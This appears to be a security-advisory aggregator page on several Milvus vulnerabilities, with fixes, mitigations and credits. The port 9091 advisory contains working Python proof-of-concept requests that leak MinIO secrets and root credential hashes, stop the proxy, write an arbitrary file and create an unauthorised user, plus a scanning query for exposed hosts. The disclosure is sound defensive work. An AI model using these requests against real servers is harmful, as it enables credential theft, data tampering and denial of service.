See how milvus compares to other vendors in security performance
Milvus through 2.6.22 and 3.0.0 contains an unauthenticated denial of service vulnerability that allows remote attackers to terminate service components by sending a crafted HTTP GET request to the management server on port 9091. Attackers can exploit the unprotected /management/stop endpoint, which bypasses REST API authentication middleware, by supplying a 'role' parameter to shut down the proxy, datanode, or querynode components, resulting in denial of service.
A vulnerability has been found in milvus-io milvus up to 2.6.13. This vulnerability affects unknown code of the file internal/metastore/kv/rootcoord/kvcatalog.go of the component Grantee ID Hash Handler. The manipulation leads to use of weak hash. The attack needs to be performed locally. The attack's complexity is rated as high. It is stated that the exploitability is difficult. The exploit has been disclosed to the public and may be used. The identifier of the patch is 3d932f1c3e065351c4440c27abe1e6479752544d. Applying a patch is the recommended action to fix this issue.
Summary
Milvus exposes TCP port 9091 by default with two critical authentication bypass vulnerabilities:
1. The /expr debug endpoint uses a weak, predictable default authentication token derived from etcd.rootPath (default: by-dev), enabling arbitrary expression evaluation. 2. The full REST API (/api/v1/) is registered on the metrics/management port without any authentication, allowing unauthenticated access to all business operations including data manipulation and credential management.
Details
Vulnerability 1: Weak Default Authentication on /expr Endpoint
The /expr endpoint on port 9091 accepts an auth parameter that defaults to the etcd.rootPath value (by-dev). This value is well-known and predictable. An attacker who can reach port 9091 can evaluate arbitrary internal Go expressions, leading to:
- Information/Credential Disclosure: Reading internal configuration values (MinIO secrets, etcd credentials) and user credential hashes via param.MinioCfg.SecretAccessKey.GetValue(), rootcoord.meta.GetCredential(ctx, 'root'), etc. - Denial of Service: Invoking proxy.Stop() to shut down the proxy service. - Arbitrary File Write (potential RCE): Manipulating access log configuration parameters to write arbitrary content to arbitrary file paths on the server filesystem.
Vulnerability 2: Unauthenticated REST API on Metrics Port
Business-logic HTTP handlers (collection management, data insertion, credential management) are registered on the metrics/management HTTP server at port 9091 via registerHTTPServer() in internal/distributed/proxy/service.go (line 170). These endpoints do not enforce any authentication, even when Milvus authentication is enabled on the primary gRPC/HTTP ports.
An attacker can perform any business operation without credentials, including:
- Creating, listing, and deleting collections - Inserting and querying data - Creating, listing, and deleting user credentials - Modifying user passwords
Proof of Concept
PoC 1 — /expr Endpoint Exploitation
python import requests
url = "http://<target>:9091/expr"
Leak sensitive configuration (e.g., MinIO secret key) res = requests.get(url, params={ "auth": "by-dev", "code": "param.MinioCfg.SecretAccessKey.GetValue()" }, timeout=5) print(res.json().get("output", ""))
Retrieve hashed credentials for the root user res = requests.get(url, params={ "auth": "by-dev", "code": "rootcoord.meta.GetCredential(ctx, 'root')" }, timeout=5) print(res.json().get("output", ""))
Denial of Service — stop the proxy res = requests.get(url, params={ "auth": "by-dev", "code": "proxy.Stop()" }, timeout=5)
Arbitrary file write (potential RCE) for cmd in [ 'param.Save("proxy.accessLog.localPath", "/tmp")', 'param.Save("proxy.accessLog.formatters.base.format", "whoami")', 'param.Save("proxy.accessLog.filename", "evil.sh")', 'querycoord.etcdCli.KV.Put(ctx, "by-dev/config/proxy/accessLog/enable", "true")' ]: requests.get(url, params={"auth": "by-dev", "code": cmd}, timeout=5)
PoC 2 — Unauthenticated REST API Access
python import requests
targeturl = "http://<target>:9091"
Create a user without any authentication res = requests.post(f"{targeturl}/api/v1/credential", json={ "username": "attackeruser", "password": "MTIzNDU2Nzg5", }) print(res.json())
List all users res = requests.get(f"{targeturl}/api/v1/credential/users") print(res.json()) # {'status': {}, 'usernames': ['root', 'attackeruser']}
Create and delete collections, insert data — all without authentication
Internet Exposure
A significant number of publicly exposed Milvus instances are discoverable via internet-wide scanning using the pattern:
http.body="404 page not found" && port="9091"
This indicates the vulnerability is actively exploitable in real-world production environments.
Impact
An unauthenticated remote attacker with network access to port 9091 can:
1. Exfiltrate secrets and credentials — MinIO keys, etcd credentials, user password hashes, and all internal configuration values. 2. Manipulate all data — Create, modify, and delete collections, insert or remove data, bypassing all application-level access controls. 3. Manage user accounts — Create administrative users, reset passwords, and escalate privileges. 4. Cause denial of service — Shut down proxy services, drop databases, or corrupt metadata. 5. Write arbitrary files — Potentially achieve remote code execution by writing malicious files to the filesystem via access log configuration manipulation.
Remediation
Recommended Fixes
1. Remove or disable the /expr endpoint in production builds. If retained for debugging, it must require strong, non-default authentication and be disabled by default. 2. Do not register business API routes on the metrics port. Separate the metrics/health endpoints from the application REST API to ensure authentication middleware applies consistently. 3. Bind port 9091 to localhost by default (127.0.0.1:9091) so it is not externally accessible unless explicitly configured. 4. Enforce authentication on all API endpoints, regardless of which port they are served on.
User Mitigations (until patched)
- Block external access to port 9091 using firewall rules or network policies. - If running in Docker/Kubernetes, do not expose port 9091 outside the internal network. - Change the etcd.rootPath from the default value by-dev to a strong, random value (partial mitigation only — does not address the unauthenticated REST API).
Credit
This vulnerability was discovered and responsibly reported by YingLin Xie (xieyinglin@hust.edu.cn). It was independently reported by 0x1f and zznQ (ac0d3r).
Impact What kind of vulnerability is it? Who is impacted? An unauthenticated attacker can exploit this vulnerability to bypass all authentication mechanisms in the Milvus Proxy component, gaining full administrative access to the Milvus cluster. This grants the attacker the ability to read, modify, or delete data, and to perform privileged administrative operations such as database or collection management. All users running affected Milvus versions are strongly advised to upgrade immediately.
Patches Has the problem been patched? What versions should users upgrade to? This issue has been fixed in the following versions: • Milvus 2.4.24 • Milvus 2.5.21 • Milvus 2.6.5
Users should upgrade to these patched versions or later to mitigate the vulnerability.
Workarounds Is there a way for users to fix or remediate the vulnerability without upgrading? If immediate upgrade is not possible, a temporary mitigation can be applied by removing the sourceID header from all incoming requests at the gateway, API gateway, or load balancer level before they reach the Milvus Proxy. This prevents attackers from exploiting the authentication bypass behavior.
References Are there any links users can visit to find out more?
The following pull requests contain the fixes for the affected Milvus branches: • Fix for 2.4 branch • Fix for 2.5 branch • Fix for 2.6 branch
Special thanks to the Volcengine Milvus team at ByteDance(liumingzhe.5689@bytedance.com) for responsibly discovering, reporting, and coordinating the disclosure of this critical authentication bypass vulnerability with the Milvus maintainers.